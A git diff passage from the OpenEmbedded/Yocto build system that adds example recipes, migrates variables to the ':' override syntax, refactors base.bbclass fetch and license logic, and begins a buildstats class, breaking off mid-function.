diff --git a/meta-skeleton/recipes-skeleton/hello-single/hello_1.0.bb b/meta-skeleton/recipes-skeleton/hello-single/hello_1.0.bb
new file mode 100644
index 0000000000..90d3aefd86
--- /dev/null
+++ b/meta-skeleton/recipes-skeleton/hello-single/hello_1.0.bb
@@ -0,0 +1,17 @@
+DESCRIPTION = "Simple helloworld application"
+SECTION = "examples"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+SRC_URI = "file://helloworld.c"
+
+S = "${WORKDIR}"
+
+do_compile() {
+ ${CC} ${LDFLAGS} helloworld.c -o helloworld
+}
+
+do_install() {
+ install -d ${D}${bindir}
+ install -m 0755 helloworld ${D}${bindir}
+}
diff --git a/meta-skeleton/recipes-skeleton/libxpm/libxpm_3.5.6.bb b/meta-skeleton/recipes-skeleton/libxpm/libxpm_3.5.6.bb
new file mode 100644
index 0000000000..1fcbbdd65e
--- /dev/null
+++ b/meta-skeleton/recipes-skeleton/libxpm/libxpm_3.5.6.bb
@@ -0,0 +1,13 @@
+require recipes-graphics/xorg-lib/xorg-lib-common.inc
+
+DESCRIPTION = "X11 Pixmap library"
+LICENSE = "X-BSD"
+LIC_FILES_CHKSUM = "file://COPYING;md5=3e07763d16963c3af12db271a31abaa5"
+DEPENDS += "libxext"
+PE = "1"
+
+XORG_PN = "libXpm"
+
+PACKAGES =+ "sxpm cxpm"
+FILES:cxpm = "${bindir}/cxpm"
+FILES:sxpm = "${bindir}/sxpm"
diff --git a/meta-skeleton/recipes-skeleton/service/service_0.1.bb b/meta-skeleton/recipes-skeleton/service/service_0.1.bb
index 6416618dcb..912f6b0f61 100644
--- a/meta-skeleton/recipes-skeleton/service/service_0.1.bb
+++ b/meta-skeleton/recipes-skeleton/service/service_0.1.bb
@@ -1,6 +1,7 @@
SUMMARY = "The canonical example of init scripts"
SECTION = "base"
-LICENSE = "GPLv2"
+DESCRIPTION = "This recipe is a canonical example of init scripts"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://${WORKDIR}/COPYRIGHT;md5=349c872e0066155e1818b786938876a4"
SRC_URI = "file://skeleton \
@@ -8,6 +9,8 @@ SRC_URI = "file://skeleton \
file://COPYRIGHT \
"
+S = "${WORKDIR}"
+
do_compile () {
${CC} ${CFLAGS} ${LDFLAGS} ${WORKDIR}/skeleton_test.c -o ${WORKDIR}/skeleton-test
}
@@ -26,6 +29,6 @@ do_install () {
install -m 0755 ${WORKDIR}/skeleton-test ${D}${sbindir}/
}
-RDEPENDS_${PN} = "initscripts"
+RDEPENDS:${PN} = "initscripts"
-CONFFILES_${PN} += "${sysconfdir}/init.d/skeleton"
+CONFFILES:${PN} += "${sysconfdir}/init.d/skeleton"
diff --git a/meta-skeleton/recipes-skeleton/useradd/useradd-example.bb b/meta-skeleton/recipes-skeleton/useradd/useradd-example.bb
index 7c5b9d0503..8437a5a774 100644
--- a/meta-skeleton/recipes-skeleton/useradd/useradd-example.bb
+++ b/meta-skeleton/recipes-skeleton/useradd/useradd-example.bb
@@ -1,7 +1,6 @@
SUMMARY = "Example recipe for using inherit useradd"
DESCRIPTION = "This recipe serves as an example for using features from useradd.bbclass"
SECTION = "examples"
-PR = "r1"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
@@ -30,19 +29,19 @@ USERADD_PACKAGES = "${PN} ${PN}-user3"
# useradd command. Multiple users can be created by separating
# the commands with a semicolon. Here we'll create two users,
# user1 and user2:
-USERADD_PARAM_${PN} = "-u 1200 -d /home/user1 -r -s /bin/bash user1; -u 1201 -d /home/user2 -r -s /bin/bash user2"
+USERADD_PARAM:${PN} = "-u 1200 -d /home/user1 -r -s /bin/bash user1; -u 1201 -d /home/user2 -r -s /bin/bash user2"
-# user3 will be managed in the useradd-example-user3 pacakge:
-# As an example, we use the -P option to set clear text password for user3
-USERADD_PARAM_${PN}-user3 = "-u 1202 -d /home/user3 -r -s /bin/bash -P 'user3' user3"
+# user3 will be managed in the useradd-example-user3 package:
+# As an example, we use the -p option to set password ('user3') for user3
+USERADD_PARAM:${PN}-user3 = "-u 1202 -d /home/user3 -r -s /bin/bash -p '\$6\$XAWr.8nc\$bUE4pYYaVb8n6BbnBitU0zeJMtfhTpFpiOBLL9zRl4e4YQo88UU4r/1kjRzmTimCy.BvDh4xoFwVqcO.pihLa1' user3"
# GROUPADD_PARAM works the same way, which you set to the options
# you'd normally pass to the groupadd command. This will create
# groups group1 and group2:
-GROUPADD_PARAM_${PN} = "-g 880 group1; -g 890 group2"
+GROUPADD_PARAM:${PN} = "-g 880 group1; -g 890 group2"
# Likewise, we'll manage group3 in the useradd-example-user3 package:
-GROUPADD_PARAM_${PN}-user3 = "-g 900 group3"
+GROUPADD_PARAM:${PN}-user3 = "-g 900 group3"
do_install () {
install -d -m 755 ${D}${datadir}/user1
@@ -69,8 +68,8 @@ do_install () {
chgrp -R group3 ${D}${datadir}/user3
}
-FILES_${PN} = "${datadir}/user1/* ${datadir}/user2/*"
-FILES_${PN}-user3 = "${datadir}/user3/*"
+FILES:${PN} = "${datadir}/user1/* ${datadir}/user2/*"
+FILES:${PN}-user3 = "${datadir}/user3/*"
# Prevents do_package failures with:
# debugsources.list: No such file or directory:
diff --git a/meta/classes/base.bbclass b/meta/classes-global/base.bbclass
index 4c681cc870..0999b42daa 100644
--- a/meta/classes/base.bbclass
+++ b/meta/classes-global/base.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
BB_DEFAULT_TASK ?= "build"
CLASSOVERRIDE ?= "class-target"
@@ -7,40 +13,11 @@ inherit staging
inherit mirrors
inherit utils
inherit utility-tasks
-inherit metadata_scm
inherit logging
-OE_EXTRA_IMPORTS ?= ""
-
-OE_IMPORTS += "os sys time oe.path oe.utils oe.types oe.package oe.packagegroup oe.sstatesig oe.lsb oe.cachedpath oe.license ${OE_EXTRA_IMPORTS}"
-OE_IMPORTS[type] = "list"
-
PACKAGECONFIG_CONFARGS ??= ""
-def oe_import(d):
- import sys
-
- bbpath = d.getVar("BBPATH").split(":")
- sys.path[0:0] = [os.path.join(dir, "lib") for dir in bbpath]
-
- def inject(name, value):
- """Make a python object accessible from the metadata"""
- if hasattr(bb.utils, "_context"):
- bb.utils._context[name] = value
- else:
- __builtins__[name] = value
-
- import oe.data
- for toimport in oe.data.typed_value("OE_IMPORTS", d):
- try:
- imported = __import__(toimport)
- inject(toimport.split(".", 1)[0], imported)
- except AttributeError as e:
- bb.error("Error importing OE modules: %s" % str(e))
- return ""
-
-# We need the oe module name space early (before INHERITs get added)
-OE_IMPORTED := "${@oe_import(d)}"
+inherit metadata_scm
def lsb_distro_identifier(d):
adjust = d.getVar('LSB_DISTRO_ADJUST')
@@ -66,18 +43,18 @@ oe_runmake() {
}
-def base_dep_prepend(d):
+def get_base_dep(d):
if d.getVar('INHIBIT_DEFAULT_DEPS', False):
return ""
return "${BASE_DEFAULT_DEPS}"
-BASE_DEFAULT_DEPS = "virtual/${TARGET_PREFIX}gcc virtual/${TARGET_PREFIX}compilerlibs virtual/libc"
+BASE_DEFAULT_DEPS = "virtual/${HOST_PREFIX}gcc virtual/${HOST_PREFIX}compilerlibs virtual/libc"
BASEDEPENDS = ""
-BASEDEPENDS_class-target = "${@base_dep_prepend(d)}"
-BASEDEPENDS_class-nativesdk = "${@base_dep_prepend(d)}"
+BASEDEPENDS:class-target = "${@get_base_dep(d)}"
+BASEDEPENDS:class-nativesdk = "${@get_base_dep(d)}"
-DEPENDS_prepend="${BASEDEPENDS} "
+DEPENDS:prepend="${BASEDEPENDS} "
FILESPATH = "${@base_set_filespath(["${FILE_DIRNAME}/${BP}", "${FILE_DIRNAME}/${BPN}", "${FILE_DIRNAME}/files"], d)}"
# THISDIR only works properly with imediate expansion as it has to run
@@ -91,7 +68,7 @@ def extra_path_elements(d):
path = path + "${STAGING_BINDIR_NATIVE}/" + e + ":"
return path
-PATH_prepend = "${@extra_path_elements(d)}"
+PATH:prepend = "${@extra_path_elements(d)}"
def get_lic_checksum_file_list(d):
filelist = []
@@ -122,6 +99,10 @@ def setup_hosttools_dir(dest, toolsvar, d, fatal=True):
tools = d.getVar(toolsvar).split()
origbbenv = d.getVar("BB_ORIGENV", False)
path = origbbenv.getVar("PATH")
+ # Need to ignore our own scripts directories to avoid circular links
+ for p in path.split(":"):
+ if p.endswith("/scripts"):
+ path = path.replace(p, "/ignoreme")
bb.utils.mkdirhier(dest)
notfound = []
for tool in tools:
@@ -135,7 +116,7 @@ def setup_hosttools_dir(dest, toolsvar, d, fatal=True):
# /usr/local/bin/ccache/gcc -> /usr/bin/ccache, then which(gcc)
# would return /usr/local/bin/ccache/gcc, but what we need is
# /usr/bin/gcc, this code can check and fix that.
- if "ccache" in srctool:
+ if os.path.islink(srctool) and os.path.basename(os.readlink(srctool)) == 'ccache':
srctool = bb.utils.which(path, tool, executable=True, direction=1)
if srctool:
os.symlink(srctool, desttool)
@@ -145,22 +126,30 @@ def setup_hosttools_dir(dest, toolsvar, d, fatal=True):
if notfound and fatal:
bb.fatal("The following required tools (as specified by HOSTTOOLS) appear to be unavailable in PATH, please install them in order to proceed:\n %s" % " ".join(notfound))
+# We can't use vardepvalue against do_fetch directly since that would overwrite
+# the other task dependencies so we use an indirect function.
+python fetcher_hashes_dummyfunc() {
+ return
+}
+fetcher_hashes_dummyfunc[vardepvalue] = "${@bb.fetch.get_hashvalue(d)}"
+
addtask fetch
do_fetch[dirs] = "${DL_DIR}"
do_fetch[file-checksums] = "${@bb.fetch.get_checksum_file_list(d)}"
do_fetch[file-checksums] += " ${@get_lic_checksum_file_list(d)}"
-do_fetch[vardeps] += "SRCREV"
+do_fetch[prefuncs] += "fetcher_hashes_dummyfunc"
+do_fetch[network] = "1"
python base_do_fetch() {
src_uri = (d.getVar('SRC_URI') or "").split()
- if len(src_uri) == 0:
+ if not src_uri:
return
try:
fetcher = bb.fetch2.Fetch(src_uri, d)
fetcher.download()
except bb.fetch2.BBFetchException as e:
- bb.fatal(str(e))
+ bb.fatal("Bitbake Fetcher Error: " + repr(e))
}
addtask unpack after do_fetch
@@ -170,22 +159,58 @@ do_unpack[cleandirs] = "${@d.getVar('S') if os.path.normpath(d.getVar('S')) != o
python base_do_unpack() {
src_uri = (d.getVar('SRC_URI') or "").split()
- if len(src_uri) == 0:
+ if not src_uri:
return
try:
fetcher = bb.fetch2.Fetch(src_uri, d)
fetcher.unpack(d.getVar('WORKDIR'))
except bb.fetch2.BBFetchException as e:
- bb.fatal(str(e))
+ bb.fatal("Bitbake Fetcher Error: " + repr(e))
+}
+
+SSTATETASKS += "do_deploy_source_date_epoch"
+
+do_deploy_source_date_epoch () {
+ mkdir -p ${SDE_DEPLOYDIR}
+ if [ -e ${SDE_FILE} ]; then
+ echo "Deploying SDE from ${SDE_FILE} -> ${SDE_DEPLOYDIR}."
+ cp -p ${SDE_FILE} ${SDE_DEPLOYDIR}/__source_date_epoch.txt
+ else
+ echo "${SDE_FILE} not found!"
+ fi
}
+python do_deploy_source_date_epoch_setscene () {
+ sstate_setscene(d)
+ bb.utils.mkdirhier(d.getVar('SDE_DIR'))
+ sde_file = os.path.join(d.getVar('SDE_DEPLOYDIR'), '__source_date_epoch.txt')
+ if os.path.exists(sde_file):
+ target = d.getVar('SDE_FILE')
+ bb.debug(1, "Moving setscene SDE file %s -> %s" % (sde_file, target))
+ bb.utils.rename(sde_file, target)
+ else:
+ bb.debug(1, "%s not found!" % sde_file)
+}
+
+do_deploy_source_date_epoch[dirs] = "${SDE_DEPLOYDIR}"
+do_deploy_source_date_epoch[sstate-plaindirs] = "${SDE_DEPLOYDIR}"
+addtask do_deploy_source_date_epoch_setscene
+addtask do_deploy_source_date_epoch before do_configure after do_patch
+
+python create_source_date_epoch_stamp() {
+ # Version: 1
+ source_date_epoch = oe.reproducible.get_source_date_epoch(d, d.getVar('S'))
+ oe.reproducible.epochfile_write(source_date_epoch, d.getVar('SDE_FILE'), d)
+}
+do_unpack[postfuncs] += "create_source_date_epoch_stamp"
+
+def get_source_date_epoch_value(d):
+ return oe.reproducible.epochfile_read(d.getVar('SDE_FILE'), d)
+
def get_layers_branch_rev(d):
- layers = (d.getVar("BBLAYERS") or "").split()
- layers_branch_rev = ["%-20s = \"%s:%s\"" % (os.path.basename(i), \
- base_get_metadata_git_branch(i, None).strip(), \
- base_get_metadata_git_revision(i, None)) \
- for i in layers]
+ revisions = oe.buildcfg.get_layer_revisions(d)
+ layers_branch_rev = ["%-20s = \"%s:%s\"" % (r[1], r[2], r[3]) for r in revisions]
i = len(layers_branch_rev)-1
p1 = layers_branch_rev[i].find("=")
s1 = layers_branch_rev[i][p1:]
@@ -231,6 +256,7 @@ python base_eventhandler() {
if isinstance(e, bb.event.ConfigParsed):
if not d.getVar("NATIVELSBSTRING", False):
d.setVar("NATIVELSBSTRING", lsb_distro_identifier(d))
+ d.setVar("ORIGNATIVELSBSTRING", d.getVar("NATIVELSBSTRING", False))
d.setVar('BB_VERSION', bb.__version__)
# There might be no bb.event.ConfigParsed event if bitbake server is
@@ -269,7 +295,7 @@ python base_eventhandler() {
bb.plain('\n%s\n%s\n' % (statusheader, '\n'.join(statuslines)))
# This code is to silence warnings where the SDK variables overwrite the
- # target ones and we'd see dulpicate key names overwriting each other
+ # target ones and we'd see duplicate key names overwriting each other
# for various PREFERRED_PROVIDERS
if isinstance(e, bb.event.RecipePreFinalise):
if d.getVar("TARGET_PREFIX") == d.getVar("SDK_PREFIX"):
@@ -289,9 +315,9 @@ python base_eventhandler() {
source_mirror_fetch = d.getVar('SOURCE_MIRROR_FETCH', False)
if not source_mirror_fetch:
provs = (d.getVar("PROVIDES") or "").split()
- multiwhitelist = (d.getVar("MULTI_PROVIDER_WHITELIST") or "").split()
+ multiprovidersallowed = (d.getVar("BB_MULTI_PROVIDER_ALLOWED") or "").split()
for p in provs:
- if p.startswith("virtual/") and p not in multiwhitelist:
+ if p.startswith("virtual/") and p not in multiprovidersallowed:
profprov = d.getVar("PREFERRED_PROVIDER_" + p)
if profprov and pn != profprov:
raise bb.parse.SkipRecipe("PREFERRED_PROVIDER_%s set to %s, not %s" % (p, profprov, pn))
@@ -332,17 +358,13 @@ base_do_compile() {
addtask install after do_compile
do_install[dirs] = "${B}"
-# Remove and re-create ${D} so that is it guaranteed to be empty
+# Remove and re-create ${D} so that it is guaranteed to be empty
do_install[cleandirs] = "${D}"
base_do_install() {
:
}
-base_do_package() {
- :
-}
-
addtask build after do_populate_sysroot
do_build[noexec] = "1"
do_build[recrdeptask] += "do_deploy"
@@ -388,6 +410,24 @@ python () {
oe.utils.features_backfill("DISTRO_FEATURES", d)
oe.utils.features_backfill("MACHINE_FEATURES", d)
+ if d.getVar("S")[-1] == '/':
+ bb.warn("Recipe %s sets S variable with trailing slash '%s', remove it" % (d.getVar("PN"), d.getVar("S")))
+ if d.getVar("B")[-1] == '/':
+ bb.warn("Recipe %s sets B variable with trailing slash '%s', remove it" % (d.getVar("PN"), d.getVar("B")))
+
+ if os.path.normpath(d.getVar("WORKDIR")) != os.path.normpath(d.getVar("S")):
+ d.appendVar("PSEUDO_IGNORE_PATHS", ",${S}")
+ if os.path.normpath(d.getVar("WORKDIR")) != os.path.normpath(d.getVar("B")):
+ d.appendVar("PSEUDO_IGNORE_PATHS", ",${B}")
+
+ # To add a recipe to the skip list , set:
+ # SKIP_RECIPE[pn] = "message"
+ pn = d.getVar('PN')
+ skip_msg = d.getVarFlag('SKIP_RECIPE', pn)
+ if skip_msg:
+ bb.debug(1, "Skipping %s %s" % (pn, skip_msg))
+ raise bb.parse.SkipRecipe("Recipe will be skipped because: %s" % (skip_msg))
+
# Handle PACKAGECONFIG
#
# These take the form:
@@ -470,8 +510,8 @@ python () {
% (d.getVar('PN'), flag, 's' if len(intersec) > 1 else '', ' '.join(intersec)))
appendVar('DEPENDS', extradeps)
- appendVar('RDEPENDS_${PN}', extrardeps)
- appendVar('RRECOMMENDS_${PN}', extrarrecs)
+ appendVar('RDEPENDS:${PN}', extrardeps)
+ appendVar('RRECOMMENDS:${PN}', extrarrecs)
appendVar('PACKAGECONFIG_CONFARGS', extraconf)
pn = d.getVar('PN')
@@ -483,27 +523,22 @@ python () {
check_license_format(d)
unmatched_license_flags = check_license_flags(d)
if unmatched_license_flags:
- if len(unmatched_license_flags) == 1:
- message = "because it has a restricted license '{0}'. Which is not whitelisted in LICENSE_FLAGS_WHITELIST".format(unmatched_license_flags[0])
- else:
- message = "because it has restricted licenses {0}. Which are not whitelisted in LICENSE_FLAGS_WHITELIST".format(
- ", ".join("'{0}'".format(f) for f in unmatched_license_flags))
- bb.debug(1, "Skipping %s %s" % (pn, message))
+ for unmatched in unmatched_license_flags:
+ message = "Has a restricted license '%s' which is not listed in your LICENSE_FLAGS_ACCEPTED." % unmatched
+ details = d.getVarFlag("LICENSE_FLAGS_DETAILS", unmatched)
+ if details:
+ message += "\n" + details
+ bb.debug(1, "Skipping %s: %s" % (pn, message))
raise bb.parse.SkipRecipe(message)
# If we're building a target package we need to use fakeroot (pseudo)
# in order to capture permissions, owners, groups and special files
if not bb.data.inherits_class('native', d) and not bb.data.inherits_class('cross', d):
d.appendVarFlag('do_prepare_recipe_sysroot', 'depends', ' virtual/fakeroot-native:do_populate_sysroot')
- d.setVarFlag('do_unpack', 'umask', '022')
- d.setVarFlag('do_configure', 'umask', '022')
- d.setVarFlag('do_compile', 'umask', '022')
d.appendVarFlag('do_install', 'depends', ' virtual/fakeroot-native:do_populate_sysroot')
d.setVarFlag('do_install', 'fakeroot', '1')
- d.setVarFlag('do_install', 'umask', '022')
d.appendVarFlag('do_package', 'depends', ' virtual/fakeroot-native:do_populate_sysroot')
d.setVarFlag('do_package', 'fakeroot', '1')
- d.setVarFlag('do_package', 'umask', '022')
d.setVarFlag('do_package_setscene', 'fakeroot', '1')
d.appendVarFlag('do_package_setscene', 'depends', ' virtual/fakeroot-native:do_populate_sysroot')
d.setVarFlag('do_devshell', 'fakeroot', '1')
@@ -542,87 +577,83 @@ python () {
if check_license and bad_licenses:
bad_licenses = expand_wildcard_licenses(d, bad_licenses)
- whitelist = []
- for lic in bad_licenses:
- spdx_license = return_spdx(d, lic)
- whitelist.extend((d.getVar("WHITELIST_" + lic) or "").split())
- if spdx_license:
- whitelist.extend((d.getVar("WHITELIST_" + spdx_license) or "").split())
-
- if pn in whitelist:
- '''
- We need to track what we are whitelisting and why. If pn is
- incompatible we need to be able to note that the image that
- is created may infact contain incompatible licenses despite
- INCOMPATIBLE_LICENSE being set.
- '''
- bb.note("Including %s as buildable despite it having an incompatible license because it has been whitelisted" % pn)
- else:
- pkgs = d.getVar('PACKAGES').split()
- skipped_pkgs = {}
- unskipped_pkgs = []
- for pkg in pkgs:
- incompatible_lic = incompatible_license(d, bad_licenses, pkg)
- if incompatible_lic:
- skipped_pkgs[pkg] = incompatible_lic
- else:
- unskipped_pkgs.append(pkg)
- if unskipped_pkgs:
- for pkg in skipped_pkgs:
- bb.debug(1, "Skipping the package %s at do_rootfs because of incompatible license(s): %s" % (pkg, ' '.join(skipped_pkgs[pkg])))
- d.setVar('LICENSE_EXCLUSION-' + pkg, ' '.join(skipped_pkgs[pkg]))
- for pkg in unskipped_pkgs:
- bb.debug(1, "Including the package %s" % pkg)
+ exceptions = (d.getVar("INCOMPATIBLE_LICENSE_EXCEPTIONS") or "").split()
+
+ for lic_exception in exceptions:
+ if ":" in lic_exception:
+ lic_exception = lic_exception.split(":")[1]
+ if lic_exception in oe.license.obsolete_license_list():
+ bb.fatal("Obsolete license %s used in INCOMPATIBLE_LICENSE_EXCEPTIONS" % lic_exception)
+
+ pkgs = d.getVar('PACKAGES').split()
+ skipped_pkgs = {}
+ unskipped_pkgs = []
+ for pkg in pkgs:
+ remaining_bad_licenses = oe.license.apply_pkg_license_exception(pkg, bad_licenses, exceptions)
+
+ incompatible_lic = incompatible_license(d, remaining_bad_licenses, pkg)
+ if incompatible_lic:
+ skipped_pkgs[pkg] = incompatible_lic
else:
- incompatible_lic = incompatible_license(d, bad_licenses)
- for pkg in skipped_pkgs:
- incompatible_lic += skipped_pkgs[pkg]
- incompatible_lic = sorted(list(set(incompatible_lic)))
+ unskipped_pkgs.append(pkg)
+
+ if unskipped_pkgs:
+ for pkg in skipped_pkgs:
+ bb.debug(1, "Skipping the package %s at do_rootfs because of incompatible license(s): %s" % (pkg, ' '.join(skipped_pkgs[pkg])))
+ d.setVar('_exclude_incompatible-' + pkg, ' '.join(skipped_pkgs[pkg]))
+ for pkg in unskipped_pkgs:
+ bb.debug(1, "Including the package %s" % pkg)
+ else:
+ incompatible_lic = incompatible_license(d, bad_licenses)
+ for pkg in skipped_pkgs:
+ incompatible_lic += skipped_pkgs[pkg]
+ incompatible_lic = sorted(list(set(incompatible_lic)))
- if incompatible_lic:
- bb.debug(1, "Skipping recipe %s because of incompatible license(s): %s" % (pn, ' '.join(incompatible_lic)))
- raise bb.parse.SkipRecipe("it has incompatible license(s): %s" % ' '.join(incompatible_lic))
+ if incompatible_lic:
+ bb.debug(1, "Skipping recipe %s because of incompatible license(s): %s" % (pn, ' '.join(incompatible_lic)))
+ raise bb.parse.SkipRecipe("it has incompatible license(s): %s" % ' '.join(incompatible_lic))
- needsrcrev = False
srcuri = d.getVar('SRC_URI')
- for uri in srcuri.split():
- (scheme, _ , path) = bb.fetch.decodeurl(uri)[:3]
+ for uri_string in srcuri.split():
+ uri = bb.fetch.URI(uri_string)
+ # Also check downloadfilename as the URL path might not be useful for sniffing
+ path = uri.params.get("downloadfilename", uri.path)
# HTTP/FTP use the wget fetcher
- if scheme in ("http", "https", "ftp"):
+ if uri.scheme in ("http", "https", "ftp"):
d.appendVarFlag('do_fetch', 'depends', ' wget-native:do_populate_sysroot')
# Svn packages should DEPEND on subversion-native
- if scheme == "svn":
- needsrcrev = True
+ if uri.scheme == "svn":
d.appendVarFlag('do_fetch', 'depends', ' subversion-native:do_populate_sysroot')
# Git packages should DEPEND on git-native
- elif scheme in ("git", "gitsm"):
- needsrcrev = True
+ elif uri.scheme in ("git", "gitsm"):
d.appendVarFlag('do_fetch', 'depends', ' git-native:do_populate_sysroot')
# Mercurial packages should DEPEND on mercurial-native
- elif scheme == "hg":
- needsrcrev = True
+ elif uri.scheme == "hg":
d.appendVar("EXTRANATIVEPATH", ' python3-native ')
- d.appendVarFlag('do_fetch', 'depends', ' mercurial-native:do_populate_sysroot')
-
- # Perforce packages support SRCREV = "${AUTOREV}"
- elif scheme == "p4":
- needsrcrev = True
+ d.appendVarFlag('do_fetch', 'depends', ' mercurial-native:do_populate_sysroot ca-certificates-native:do_populate_sysroot')
# OSC packages should DEPEND on osc-native
- elif scheme == "osc":
+ elif uri.scheme == "osc":
d.appendVarFlag('do_fetch', 'depends', ' osc-native:do_populate_sysroot')
- elif scheme == "npm":
+ elif uri.scheme == "npm":
d.appendVarFlag('do_fetch', 'depends', ' nodejs-native:do_populate_sysroot')
+ elif uri.scheme == "repo":
+ d.appendVarFlag('do_fetch', 'depends', ' repo-native:do_populate_sysroot')
+
# *.lz4 should DEPEND on lz4-native for unpacking
if path.endswith('.lz4'):
d.appendVarFlag('do_unpack', 'depends', ' lz4-native:do_populate_sysroot')
+ # *.zst should DEPEND on zstd-native for unpacking
+ elif path.endswith('.zst'):
+ d.appendVarFlag('do_unpack', 'depends', ' zstd-native:do_populate_sysroot')
+
# *.lz should DEPEND on lzip-native for unpacking
elif path.endswith('.lz'):
d.appendVarFlag('do_unpack', 'depends', ' lzip-native:do_populate_sysroot')
@@ -643,20 +674,9 @@ python () {
elif path.endswith('.deb'):
d.appendVarFlag('do_unpack', 'depends', ' xz-native:do_populate_sysroot')
- if needsrcrev:
- d.setVar("SRCPV", "${@bb.fetch2.get_srcrev(d)}")
-
- # Gather all named SRCREVs to add to the sstate hash calculation
- # This anonymous python snippet is called multiple times so we
- # need to be careful to not double up the appends here and cause
- # the base hash to mismatch the task hash
- for uri in srcuri.split():
- parm = bb.fetch.decodeurl(uri)[5]
- uri_names = parm.get("name", "").split(",")
- for uri_name in filter(None, uri_names):
- srcrev_name = "SRCREV_{}".format(uri_name)
- if srcrev_name not in (d.getVarFlag("do_fetch", "vardeps") or "").split():
- d.appendVarFlag("do_fetch", "vardeps", " {}".format(srcrev_name))
+ # *.7z should DEPEND on p7zip-native for unpacking
+ elif path.endswith('.7z'):
+ d.appendVarFlag('do_unpack', 'depends', ' p7zip-native:do_populate_sysroot')
set_packagetriplet(d)
@@ -681,7 +701,7 @@ python () {
if os.path.basename(p) == machine and os.path.isdir(p):
paths.append(p)
- if len(paths) != 0:
+ if paths:
for s in srcuri.split():
if not s.startswith("file://"):
continue
@@ -714,7 +734,7 @@ do_cleansstate[nostamp] = "1"
python do_cleanall() {
src_uri = (d.getVar('SRC_URI') or "").split()
- if len(src_uri) == 0:
+ if not src_uri:
return
try:
@@ -726,4 +746,4 @@ python do_cleanall() {
do_cleanall[nostamp] = "1"
-EXPORT_FUNCTIONS do_fetch do_unpack do_configure do_compile do_install do_package
+EXPORT_FUNCTIONS do_fetch do_unpack do_configure do_compile do_install
diff --git a/meta/classes-global/buildstats.bbclass b/meta/classes-global/buildstats.bbclass
new file mode 100644
index 0000000000..f49a67aa4f
--- /dev/null
+++ b/meta/classes-global/buildstats.bbclass
@@ -0,0 +1,302 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+BUILDSTATS_BASE = "${TMPDIR}/buildstats/"
+
+################################################################################
+# Build statistics gathering.
+#
+# The CPU and Time gathering/tracking functions and bbevent inspiration
+# were written by Christopher Larson.
+#
+################################################################################
+
+def get_buildprocess_cputime(pid):
+ with open("/proc/%d/stat" % pid, "r") as f:
+ fields = f.readline().rstrip().split()
+ # 13: utime, 14: stime, 15: cutime, 16: cstime
+ return sum(int(field) for field in fields[13:16])
+
+def get_process_cputime(pid):
+ import resource
+ with open("/proc/%d/stat" % pid, "r") as f:
+ fields = f.readline().rstrip().split()
+ stats = {
+ 'utime' : fields[13],
+ 'stime' : fields[14],
+ 'cutime' : fields[15],
+ 'cstime' : fields[16],
+ }
+ iostats = {}
+ if os.path.isfile("/proc/%d/io" % pid):
+ with open("/proc/%d/io" % pid, "r") as f:
+ while True:
+ i = f.readline().strip()
+ if not i:
+ break
+ if not ":" in i:
+ # one more extra line is appended (empty or containing "0")
+ # most probably due to race condition in kernel while
+ # updating IO stats
+ break
+ i = i.split(": ")
+ iostats[i[0]] = i[1]
+ resources = resource.getrusage(resource.RUSAGE_SELF)
+ childres = resource.getrusage(resource.RUSAGE_CHILDREN)
+ return stats, iostats, resources, childres
+
+def get_cputime():
+ with open("/proc/stat", "r") as f:
+ fields = f.readline().rstrip().split()[1:]
+ return sum(int(field) for field in fields)
+
+def set_timedata(var, d, server_time):
+ d.setVar(var, server_time)
+
+def get_timedata(var, d, end_time):
+ oldtime = d.getVar(var, False)
+ if oldtime is None:
+ return
+ return end_time - oldtime
+
+def set_buildtimedata(var, d):
+ import time
+ time = time.time()
+ cputime = get_cputime()
+ proctime = get_buildprocess_cputime(os.getpid())
+ d.setVar(var, (time, cputime, proctime))
+
+def get_buildtimedata(var, d):
+ import time
+ timedata = d.getVar(var, False)
+ if timedata is None:
+ return
+ oldtime, oldcpu, oldproc = timedata
+ procdiff = get_buildprocess_cputime(os.getpid()) - oldproc
+ cpudiff = get_cputime() - oldcpu
+ end_time = time.time()
+ timediff = end_time - oldtime
+ if cpudiff > 0:
+ cpuperc = float(procdiff) * 100 / cpudiff
+ else:
+ cpuperc = None
+ return timediff, cpuperc
+
+def write_task_data(status, logfile, e, d):
+ with open(os.path.join(logfile), "a") as f:
+ elapsedtime = get_timedata("__timedata_task", d, e.time)
+ if elapsedtime:
+ f.write(d.expand("${PF}: %s\n" % e.task))
+ f.write(d.expand("Elapsed time: %0.2f seconds\n" % elapsedtime))
+ cpu, iostats, resources, childres = get_process_cputime(os.getpid())
+ if cpu:
+ f.write("utime: %s\n" % cpu['utime'])
+ f.write("stime: %s\n" % cpu['stime'])
+ f.write("cutime: %s\n" % cpu['cutime'])
+ f.write("cstime: %s\n" % cpu['cstime'])
+ for i in iostats:
+ f.write("IO %s: %s\n" % (i, iostats[i]))
+ rusages = ["ru_utime", "ru_stime", "ru_maxrss", "ru_minflt", "ru_majflt", "ru_inblock", "ru_oublock", "ru_nvcsw", "ru_nivcsw"]
+ for i in rusages:
+ f.write("rusage %s: %s\n" % (i, getattr(resources, i)))
+ for i in rusages:
+ f.write("Child rusage %s: %s\n" % (i, getattr(childres, i)))
+ if status == "passed":
+ f.write("Status: PASSED \n")
+ else:
+ f.write("Status: FAILED \n")
+ f.write("Ended: %0.2f \n" % e.time)
+
+def write_host_data(logfile, e, d, type):
+ import subprocess, os, datetime
+ # minimum time allowed for each command to run, in seconds
+ time_threshold = 0.5
+ limit = 10
+ # the total number of commands
+ num_cmds = 0
+ msg = ""
+ if type == "interval":
+ # interval at which data will be logged
+ interval = d.getVar("BB_HEARTBEAT_EVENT", False)
+ if interval is None:
+ bb.warn("buildstats: Collecting host data at intervals failed. Set BB_HEARTBEAT_EVENT=\"<interval>\" in conf/local.conf for the interval at which host data will be logged.")
+ d.setVar("BB_LOG_HOST_STAT_ON_INTERVAL", "0")
+ return
+ interval = int(interval)
+ cmds = d.getVar('BB_LOG_HOST_STAT_CMDS_INTERVAL')
+ msg = "Host Stats: Collecting data at %d second intervals.\n" % interval
+ if cmds is None:
